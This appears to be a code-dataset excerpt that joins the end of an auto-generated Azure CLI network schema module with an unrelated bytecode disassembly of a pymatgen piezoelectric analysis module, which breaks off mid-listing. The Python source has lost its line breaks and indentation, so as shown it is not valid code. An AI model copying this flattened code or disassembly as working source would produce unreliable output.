cls._schema_network_security_group_read.properties _schema.tags = cls._schema_network_security_group_read.tags _schema.type = cls._schema_network_security_group_read.type return cls._schema_network_security_group_read = ( _schema_network_security_group_read ) = AAZObjectType() network_security_group_read = _schema_network_security_group_read network_security_group_read.etag = AAZStrType() network_security_group_read.id = AAZStrType() network_security_group_read.location = AAZStrType() network_security_group_read.name = AAZStrType( flags={"read_only": True}, ) network_security_group_read.properties = AAZObjectType( flags={"client_flatten": True}, ) network_security_group_read.tags = AAZDictType() network_security_group_read.type = AAZStrType( flags={"read_only": True}, ) properties = _schema_network_security_group_read.properties properties.default_security_rules = AAZListType( serialized_name="defaultSecurityRules", ) properties.network_interfaces = AAZListType( serialized_name="networkInterfaces", ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.resource_guid = AAZStrType( serialized_name="resourceGuid", ) properties.security_rules = AAZListType( serialized_name="securityRules", ) properties.subnets = AAZListType() default_security_rules = ( _schema_network_security_group_read.properties.default_security_rules ) default_security_rules.Element = AAZObjectType() cls._build_schema_security_rule_read(default_security_rules.Element) network_interfaces = ( _schema_network_security_group_read.properties.network_interfaces ) network_interfaces.Element = AAZObjectType() _element = ( _schema_network_security_group_read.properties.network_interfaces.Element ) _element.etag = AAZStrType() _element.id = AAZStrType() _element.location = AAZStrType() _element.name = AAZStrType( flags={"read_only": True}, ) _element.properties = AAZObjectType( flags={"client_flatten": True}, ) _element.tags = AAZDictType() _element.type = AAZStrType( flags={"read_only": True}, ) properties = ( _schema_network_security_group_read.properties.network_interfaces.Element.properties ) properties.dns_settings = AAZObjectType( serialized_name="dnsSettings", ) properties.enable_ip_forwarding = AAZBoolType( serialized_name="enableIPForwarding", ) properties.ip_configurations = AAZListType( serialized_name="ipConfigurations", ) properties.mac_address = AAZStrType( serialized_name="macAddress", ) properties.network_security_group = AAZObjectType( serialized_name="networkSecurityGroup", ) cls._build_schema_network_security_group_read(properties.network_security_group) properties.primary = AAZBoolType() properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.resource_guid = AAZStrType( serialized_name="resourceGuid", ) properties.virtual_machine = AAZObjectType( serialized_name="virtualMachine", ) cls._build_schema_sub_resource_read(properties.virtual_machine) dns_settings = ( _schema_network_security_group_read.properties.network_interfaces.Element.properties.dns_settings ) dns_settings.applied_dns_servers = AAZListType( serialized_name="appliedDnsServers", ) dns_settings.dns_servers = AAZListType( serialized_name="dnsServers", ) dns_settings.internal_dns_name_label = AAZStrType( serialized_name="internalDnsNameLabel", ) dns_settings.internal_fqdn = AAZStrType( serialized_name="internalFqdn", ) applied_dns_servers = ( _schema_network_security_group_read.properties.network_interfaces.Element.properties.dns_settings.applied_dns_servers ) applied_dns_servers.Element = AAZStrType() dns_servers = ( _schema_network_security_group_read.properties.network_interfaces.Element.properties.dns_settings.dns_servers ) dns_servers.Element = AAZStrType() ip_configurations = ( _schema_network_security_group_read.properties.network_interfaces.Element.properties.ip_configurations ) ip_configurations.Element = AAZObjectType() cls._build_schema_network_interface_ip_configuration_read( ip_configurations.Element ) tags = ( _schema_network_security_group_read.properties.network_interfaces.Element.tags ) tags.Element = AAZStrType() security_rules = _schema_network_security_group_read.properties.security_rules security_rules.Element = AAZObjectType() cls._build_schema_security_rule_read(security_rules.Element) subnets = _schema_network_security_group_read.properties.subnets subnets.Element = AAZObjectType() cls._build_schema_subnet_read(subnets.Element) tags = _schema_network_security_group_read.tags tags.Element = AAZStrType() _schema.etag = cls._schema_network_security_group_read.etag _schema.id = cls._schema_network_security_group_read.id _schema.location = cls._schema_network_security_group_read.location _schema.name = cls._schema_network_security_group_read.name _schema.properties = cls._schema_network_security_group_read.properties _schema.tags = cls._schema_network_security_group_read.tags _schema.type = cls._schema_network_security_group_read.type _schema_public_ip_address_read = None @classmethod def _build_schema_public_ip_address_read(cls, _schema): if cls._schema_public_ip_address_read is not None: _schema.etag = cls._schema_public_ip_address_read.etag _schema.id = cls._schema_public_ip_address_read.id _schema.location = cls._schema_public_ip_address_read.location _schema.name = cls._schema_public_ip_address_read.name _schema.properties = cls._schema_public_ip_address_read.properties _schema.tags = cls._schema_public_ip_address_read.tags _schema.type = cls._schema_public_ip_address_read.type return cls._schema_public_ip_address_read = ( _schema_public_ip_address_read ) = AAZObjectType() public_ip_address_read = _schema_public_ip_address_read public_ip_address_read.etag = AAZStrType() public_ip_address_read.id = AAZStrType() public_ip_address_read.location = AAZStrType() public_ip_address_read.name = AAZStrType( flags={"read_only": True}, ) public_ip_address_read.properties = AAZObjectType( flags={"client_flatten": True}, ) public_ip_address_read.tags = AAZDictType() public_ip_address_read.type = AAZStrType( flags={"read_only": True}, ) properties = _schema_public_ip_address_read.properties properties.dns_settings = AAZObjectType( serialized_name="dnsSettings", ) properties.idle_timeout_in_minutes = AAZIntType( serialized_name="idleTimeoutInMinutes", ) properties.ip_address = AAZStrType( serialized_name="ipAddress", ) properties.ip_configuration = AAZObjectType( serialized_name="ipConfiguration", ) cls._build_schema_ip_configuration_read(properties.ip_configuration) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.public_ip_allocation_method = AAZStrType( serialized_name="publicIPAllocationMethod", ) properties.resource_guid = AAZStrType( serialized_name="resourceGuid", ) dns_settings = _schema_public_ip_address_read.properties.dns_settings dns_settings.domain_name_label = AAZStrType( serialized_name="domainNameLabel", ) dns_settings.fqdn = AAZStrType() dns_settings.reverse_fqdn = AAZStrType( serialized_name="reverseFqdn", ) tags = _schema_public_ip_address_read.tags tags.Element = AAZStrType() _schema.etag = cls._schema_public_ip_address_read.etag _schema.id = cls._schema_public_ip_address_read.id _schema.location = cls._schema_public_ip_address_read.location _schema.name = cls._schema_public_ip_address_read.name _schema.properties = cls._schema_public_ip_address_read.properties _schema.tags = cls._schema_public_ip_address_read.tags _schema.type = cls._schema_public_ip_address_read.type _schema_route_table_read = None @classmethod def _build_schema_route_table_read(cls, _schema): if cls._schema_route_table_read is not None: _schema.etag = cls._schema_route_table_read.etag _schema.id = cls._schema_route_table_read.id _schema.location = cls._schema_route_table_read.location _schema.name = cls._schema_route_table_read.name _schema.properties = cls._schema_route_table_read.properties _schema.tags = cls._schema_route_table_read.tags _schema.type = cls._schema_route_table_read.type return cls._schema_route_table_read = _schema_route_table_read = AAZObjectType() route_table_read = _schema_route_table_read route_table_read.etag = AAZStrType() route_table_read.id = AAZStrType() route_table_read.location = AAZStrType() route_table_read.name = AAZStrType( flags={"read_only": True}, ) route_table_read.properties = AAZObjectType( flags={"client_flatten": True}, ) route_table_read.tags = AAZDictType() route_table_read.type = AAZStrType( flags={"read_only": True}, ) properties = _schema_route_table_read.properties properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.routes = AAZListType() properties.subnets = AAZListType() routes = _schema_route_table_read.properties.routes routes.Element = AAZObjectType() _element = _schema_route_table_read.properties.routes.Element _element.etag = AAZStrType() _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = _schema_route_table_read.properties.routes.Element.properties properties.address_prefix = AAZStrType( serialized_name="addressPrefix", ) properties.next_hop_ip_address = AAZStrType( serialized_name="nextHopIpAddress", ) properties.next_hop_type = AAZStrType( serialized_name="nextHopType", flags={"required": True}, ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) subnets = _schema_route_table_read.properties.subnets subnets.Element = AAZObjectType() cls._build_schema_subnet_read(subnets.Element) tags = _schema_route_table_read.tags tags.Element = AAZStrType() _schema.etag = cls._schema_route_table_read.etag _schema.id = cls._schema_route_table_read.id _schema.location = cls._schema_route_table_read.location _schema.name = cls._schema_route_table_read.name _schema.properties = cls._schema_route_table_read.properties _schema.tags = cls._schema_route_table_read.tags _schema.type = cls._schema_route_table_read.type _schema_security_rule_read = None @classmethod def _build_schema_security_rule_read(cls, _schema): if cls._schema_security_rule_read is not None: _schema.etag = cls._schema_security_rule_read.etag _schema.id = cls._schema_security_rule_read.id _schema.name = cls._schema_security_rule_read.name _schema.properties = cls._schema_security_rule_read.properties return cls._schema_security_rule_read = _schema_security_rule_read = AAZObjectType() security_rule_read = _schema_security_rule_read security_rule_read.etag = AAZStrType() security_rule_read.id = AAZStrType() security_rule_read.name = AAZStrType() security_rule_read.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = _schema_security_rule_read.properties properties.access = AAZStrType( flags={"required": True}, ) properties.description = AAZStrType() properties.destination_address_prefix = AAZStrType( serialized_name="destinationAddressPrefix", flags={"required": True}, ) properties.destination_port_range = AAZStrType( serialized_name="destinationPortRange", ) properties.direction = AAZStrType( flags={"required": True}, ) properties.priority = AAZIntType() properties.protocol = AAZStrType( flags={"required": True}, ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.source_address_prefix = AAZStrType( serialized_name="sourceAddressPrefix", flags={"required": True}, ) properties.source_port_range = AAZStrType( serialized_name="sourcePortRange", ) _schema.etag = cls._schema_security_rule_read.etag _schema.id = cls._schema_security_rule_read.id _schema.name = cls._schema_security_rule_read.name _schema.properties = cls._schema_security_rule_read.properties _schema_sub_resource_read = None @classmethod def _build_schema_sub_resource_read(cls, _schema): if cls._schema_sub_resource_read is not None: _schema.id = cls._schema_sub_resource_read.id return cls._schema_sub_resource_read = _schema_sub_resource_read = AAZObjectType() sub_resource_read = _schema_sub_resource_read sub_resource_read.id = AAZStrType() _schema.id = cls._schema_sub_resource_read.id _schema_subnet_read = None @classmethod def _build_schema_subnet_read(cls, _schema): if cls._schema_subnet_read is not None: _schema.etag = cls._schema_subnet_read.etag _schema.id = cls._schema_subnet_read.id _schema.name = cls._schema_subnet_read.name _schema.properties = cls._schema_subnet_read.properties return cls._schema_subnet_read = _schema_subnet_read = AAZObjectType() subnet_read = _schema_subnet_read subnet_read.etag = AAZStrType() subnet_read.id = AAZStrType() subnet_read.name = AAZStrType() subnet_read.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = _schema_subnet_read.properties properties.address_prefix = AAZStrType( serialized_name="addressPrefix", ) properties.ip_configurations = AAZListType( serialized_name="ipConfigurations", ) properties.network_security_group = AAZObjectType( serialized_name="networkSecurityGroup", ) cls._build_schema_network_security_group_read(properties.network_security_group) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", ) properties.route_table = AAZObjectType( serialized_name="routeTable", ) cls._build_schema_route_table_read(properties.route_table) ip_configurations = _schema_subnet_read.properties.ip_configurations ip_configurations.Element = AAZObjectType() cls._build_schema_ip_configuration_read(ip_configurations.Element) _schema.etag = cls._schema_subnet_read.etag _schema.id = cls._schema_subnet_read.id _schema.name = cls._schema_subnet_read.name _schema.properties = cls._schema_subnet_read.properties __all__ = ["Wait"]
data/azure-cli-2.57.0/azure/cli/command_modules/network/aaz/profile_2017_03_09_profile/network/route_table/_wait.py
12,271
9,011
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LOAD_CONST 'Piezo sensitivity analysis module.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('TYPE_CHECKING',) IMPORT_NAME typing IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('requires',) IMPORT_NAME monty.dev IMPORT_FROM requires STORE_NAME requires POP_TOP LOAD_CONST 0 LOAD_CONST ('Tensor',) IMPORT_NAME pymatgen.core.tensors IMPORT_FROM Tensor STORE_NAME Tensor POP_TOP LOAD_CONST 0 LOAD_CONST ('SpacegroupAnalyzer',) IMPORT_NAME pymatgen.symmetry.analyzer IMPORT_FROM SpacegroupAnalyzer STORE_NAME SpacegroupAnalyzer POP_TOP SETUP_EXCEPT to 110 LOAD_CONST 0 LOAD_CONST ('Phonopy',) IMPORT_NAME phonopy IMPORT_FROM Phonopy STORE_NAME Phonopy POP_TOP LOAD_CONST 0 LOAD_CONST ('dynmat_to_fc',) IMPORT_NAME phonopy.harmonic IMPORT_FROM dynmat_to_fc STORE_NAME dyntofc POP_TOP POP_BLOCK JUMP_FORWARD to 134 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None STORE_NAME Phonopy POP_EXCEPT JUMP_FORWARD to 134 END_FINALLY LOAD_NAME TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('Structure',) IMPORT_NAME pymatgen.core IMPORT_FROM Structure STORE_NAME Structure POP_TOP LOAD_CONST 'Handong Ling' STORE_NAME __author__ LOAD_CONST 'Copyright 2019, The Materials Project' STORE_NAME __copyright__ LOAD_CONST '1.0' STORE_NAME __version__ LOAD_CONST 'Handong Ling' STORE_NAME __maintainer__ LOAD_CONST '[email protected]' STORE_NAME __email__ LOAD_CONST 'Development' STORE_NAME __status__ LOAD_CONST 'Feb, 2019' STORE_NAME __date__ LOAD_BUILD_CLASS LOAD_CONST <code object BornEffectiveCharge at 0x7f8a95e7d420, file "f.py", line 33> LOAD_CONST 'BornEffectiveCharge' MAKE_FUNCTION LOAD_CONST 'BornEffectiveCharge' CALL_FUNCTION STORE_NAME BornEffectiveCharge LOAD_BUILD_CLASS LOAD_CONST <code object InternalStrainTensor at 0x7f8a95e7d6f0, file "f.py", line 168> LOAD_CONST 'InternalStrainTensor' MAKE_FUNCTION LOAD_CONST 'InternalStrainTensor' CALL_FUNCTION STORE_NAME InternalStrainTensor LOAD_BUILD_CLASS LOAD_CONST <code object ForceConstantMatrix at 0x7f8a954cd660, file "f.py", line 261> LOAD_CONST 'ForceConstantMatrix' MAKE_FUNCTION LOAD_CONST 'ForceConstantMatrix' CALL_FUNCTION STORE_NAME ForceConstantMatrix LOAD_CONST (0.0001,) LOAD_CONST <code object get_piezo at 0x7f8a954cdb70, file "f.py", line 688> LOAD_CONST 'get_piezo' MAKE_FUNCTION STORE_NAME get_piezo LOAD_NAME requires LOAD_NAME Phonopy LOAD_CONST 'phonopy not installed!' CALL_FUNCTION LOAD_CONST (10,) LOAD_CONST <code object rand_piezo at 0x7f8a954cd270, file "f.py", line 717> LOAD_CONST 'rand_piezo' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rand_piezo LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BornEffectiveCharge' STORE_NAME __qualname__ LOAD_CONST 'This class describes the Nx3x3 born effective charge tensor.' STORE_NAME __doc__ LOAD_CONST (0.001,) LOAD_CONST 'Structure' LOAD_CONST 'float' LOAD_CONST ('structure', 'tol') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7f8e2fd4e0c0, file "f.py", line 36> LOAD_CONST 'BornEffectiveCharge.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (1e-05, 0.001) LOAD_CONST <code object get_BEC_operations at 0x7f8a95e7dd20, file "f.py", line 56> LOAD_CONST 'BornEffectiveCharge.get_BEC_operations' MAKE_FUNCTION STORE_NAME get_BEC_operations LOAD_CONST (1,) LOAD_CONST <code object get_rand_BEC at 0x7f8a95e7d1e0, file "f.py", line 113> LOAD_CONST 'BornEffectiveCharge.get_rand_BEC' MAKE_FUNCTION STORE_NAME get_rand_BEC LOAD_CONST None RETURN_VALUE LOAD_FAST structure LOAD_FAST self STORE_ATTR structure LOAD_FAST bec LOAD_FAST self STORE_ATTR bec LOAD_FAST pointops LOAD_FAST self STORE_ATTR pointops LOAD_CONST None LOAD_FAST self STORE_ATTR BEC_operations LOAD_GLOBAL np LOAD_METHOD sum LOAD_FAST self LOAD_ATTR bec CALL_METHOD LOAD_FAST tol COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Input born effective charge tensor does not satisfy charge neutrality' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR bec STORE_FAST bec LOAD_FAST self LOAD_ATTR structure STORE_FAST struct LOAD_GLOBAL SpacegroupAnalyzer LOAD_FAST struct CALL_FUNCTION LOAD_ATTR get_symmetry_operations LOAD_CONST True LOAD_CONST ('cartesian',) CALL_FUNCTION STORE_FAST ops LOAD_GLOBAL list LOAD_FAST ops CALL_FUNCTION STORE_FAST uniq_point_ops SETUP_LOOP to 84 LOAD_FAST self LOAD_ATTR pointops GET_ITER FOR_ITER to 82 STORE_FAST ops SETUP_LOOP to 80 LOAD_FAST ops GET_ITER FOR_ITER to 78 STORE_FAST op LOAD_FAST op LOAD_FAST uniq_point_ops COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST uniq_point_ops LOAD_METHOD append LOAD_FAST op CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST passed BUILD_LIST STORE_FAST relations SETUP_LOOP to 302 LOAD_GLOBAL enumerate LOAD_FAST bec CALL_FUNCTION GET_ITER FOR_ITER to 300 UNPACK_SEQUENCE STORE_FAST site STORE_FAST val LOAD_CONST 1 STORE_FAST unique LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD eig LOAD_FAST val CALL_METHOD UNPACK_SEQUENCE STORE_FAST eig1 STORE_FAST _vecs1 LOAD_GLOBAL np LOAD_METHOD argsort LOAD_FAST eig1 CALL_METHOD STORE_FAST index LOAD_GLOBAL np LOAD_METHOD real LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBSCR BUILD_LIST CALL_METHOD STORE_FAST new_eig SETUP_LOOP to 262 LOAD_GLOBAL enumerate LOAD_FAST passed CALL_FUNCTION GET_ITER FOR_ITER to 260 UNPACK_SEQUENCE STORE_FAST index STORE_FAST p LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new_eig LOAD_FAST p LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST eigtol LOAD_CONST ('atol',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST relations LOAD_METHOD append LOAD_FAST site LOAD_FAST index BUILD_LIST CALL_METHOD POP_TOP LOAD_CONST 0 STORE_FAST unique LOAD_FAST passed LOAD_METHOD append LOAD_FAST site LOAD_FAST p LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST new_eig BUILD_LIST CALL_METHOD POP_TOP BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST unique LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST relations LOAD_METHOD append LOAD_FAST site LOAD_FAST site BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST passed LOAD_METHOD append LOAD_FAST site LOAD_FAST new_eig BUILD_LIST CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST BEC_operations SETUP_LOOP to 440 LOAD_GLOBAL enumerate LOAD_FAST relations CALL_FUNCTION GET_ITER FOR_ITER to 438 UNPACK_SEQUENCE STORE_FAST atom STORE_FAST r LOAD_FAST BEC_operations LOAD_METHOD append LOAD_FAST r CALL_METHOD POP_TOP LOAD_FAST BEC_operations LOAD_FAST atom BINARY_SUBSCR LOAD_METHOD append BUILD_LIST CALL_METHOD POP_TOP SETUP_LOOP to 434 LOAD_FAST uniq_point_ops GET_ITER FOR_ITER to 432 STORE_FAST op LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST self LOAD_ATTR bec LOAD_FAST relations LOAD_FAST atom BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD STORE_FAST new LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new LOAD_FAST self LOAD_ATTR bec LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST opstol LOAD_CONST ('atol',) CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST BEC_operations LOAD_FAST atom BINARY_SUBSCR LOAD_CONST 2 BINARY_SUBSCR LOAD_METHOD append LOAD_FAST op CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST BEC_operations LOAD_FAST self STORE_ATTR BEC_operations LOAD_FAST BEC_operations RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST n_atoms LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_atoms LOAD_CONST 3 LOAD_CONST 3 BUILD_TUPLE CALL_METHOD STORE_FAST BEC SETUP_LOOP to 260 LOAD_GLOBAL enumerate LOAD_FAST self LOAD_ATTR BEC_operations CALL_FUNCTION GET_ITER FOR_ITER to 258 UNPACK_SEQUENCE STORE_FAST atom STORE_FAST ops LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST ops LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL Tensor LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD rand LOAD_CONST 3 LOAD_CONST 3 CALL_METHOD LOAD_CONST 0.5 BINARY_SUBTRACT CALL_FUNCTION STORE_DEREF temp_tensor LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8a95e7d8a0, file "f.py", line 130> LOAD_CONST 'BornEffectiveCharge.get_rand_BEC.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_DEREF temp_tensor LOAD_DEREF temp_tensor LOAD_FAST BEC LOAD_FAST atom STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST temp_fcm SETUP_LOOP to 196 LOAD_FAST ops LOAD_CONST 2 BINARY_SUBSCR GET_ITER FOR_ITER to 194 STORE_FAST op LOAD_FAST temp_fcm LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST BEC LOAD_FAST self LOAD_ATTR BEC_operations LOAD_FAST atom BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD INPLACE_ADD STORE_FAST temp_fcm JUMP_ABSOLUTE POP_BLOCK LOAD_FAST temp_fcm LOAD_FAST BEC LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR LOAD_GLOBAL len LOAD_FAST ops LOAD_CONST 2 BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST BEC LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST ops LOAD_CONST 2 BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST BEC LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL np LOAD_METHOD einsum LOAD_CONST 'ijk->jk' LOAD_FAST BEC CALL_METHOD LOAD_FAST n_atoms BINARY_TRUE_DIVIDE STORE_FAST disp_charge LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_atoms LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST add SETUP_LOOP to 520 LOAD_GLOBAL enumerate LOAD_FAST self LOAD_ATTR BEC_operations CALL_FUNCTION GET_ITER FOR_ITER to 518 UNPACK_SEQUENCE STORE_FAST atom STORE_FAST ops LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST ops LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Tensor LOAD_FAST disp_charge CALL_FUNCTION STORE_DEREF temp_tensor LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8a95e7d4b0, file "f.py", line 148> LOAD_CONST 'BornEffectiveCharge.get_rand_BEC.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_DEREF temp_tensor LOAD_DEREF temp_tensor LOAD_FAST add LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR JUMP_FORWARD to 514 LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_DEREF temp_tensor SETUP_LOOP to 456 LOAD_FAST ops LOAD_CONST 2 BINARY_SUBSCR GET_ITER FOR_ITER to 454 STORE_FAST op LOAD_DEREF temp_tensor LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST add LOAD_FAST self LOAD_ATTR BEC_operations LOAD_FAST atom BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD INPLACE_ADD STORE_DEREF temp_tensor EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_DEREF temp_tensor LOAD_FAST add LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR LOAD_GLOBAL len LOAD_FAST ops CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST add LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST ops LOAD_CONST 2 BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST add LOAD_FAST ops LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST BEC LOAD_FAST add BINARY_SUBTRACT STORE_FAST BEC LOAD_FAST BEC LOAD_FAST max_charge BINARY_MULTIPLY RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'InternalStrainTensor' STORE_NAME __qualname__ LOAD_CONST "\n This class describes the Nx3x3x3 internal tensor defined by a\n structure, point operations of the structure's atomic sites.\n " STORE_NAME __doc__ LOAD_CONST (0.001,) LOAD_CONST 'Structure' LOAD_CONST 'float' LOAD_CONST ('structure', 'tol') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7f8a95e7d810, file "f.py", line 174> LOAD_CONST 'InternalStrainTensor.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (0.001,) LOAD_CONST <code object get_IST_operations at 0x7f8a95e7dc00, file "f.py", line 193> LOAD_CONST 'InternalStrainTensor.get_IST_operations' MAKE_FUNCTION STORE_NAME get_IST_operations LOAD_CONST (1,) LOAD_CONST <code object get_rand_IST at 0x7f8a95e7d300, file "f.py", line 229> LOAD_CONST 'InternalStrainTensor.get_rand_IST' MAKE_FUNCTION STORE_NAME get_rand_IST LOAD_CONST None RETURN_VALUE LOAD_FAST structure LOAD_FAST self STORE_ATTR structure LOAD_FAST ist LOAD_FAST self STORE_ATTR ist LOAD_FAST pointops LOAD_FAST self STORE_ATTR pointops LOAD_CONST None LOAD_FAST self STORE_ATTR IST_operations LOAD_FAST self LOAD_ATTR ist STORE_FAST obj LOAD_FAST obj LOAD_GLOBAL np LOAD_METHOD transpose LOAD_FAST obj LOAD_CONST (0, 1, 3, 2) CALL_METHOD BINARY_SUBTRACT LOAD_FAST tol COMPARE_OP < LOAD_METHOD all CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Input internal strain tensor does not satisfy standard symmetries' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR structure STORE_FAST struct LOAD_GLOBAL SpacegroupAnalyzer LOAD_FAST struct CALL_FUNCTION LOAD_ATTR get_symmetry_operations LOAD_CONST True LOAD_CONST ('cartesian',) CALL_FUNCTION STORE_FAST ops LOAD_GLOBAL list LOAD_FAST ops CALL_FUNCTION STORE_FAST uniq_point_ops SETUP_LOOP to 78 LOAD_FAST self LOAD_ATTR pointops GET_ITER FOR_ITER to 76 STORE_FAST ops SETUP_LOOP to 74 LOAD_FAST ops GET_ITER FOR_ITER to 72 STORE_FAST op LOAD_FAST op LOAD_FAST uniq_point_ops COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST uniq_point_ops LOAD_METHOD append 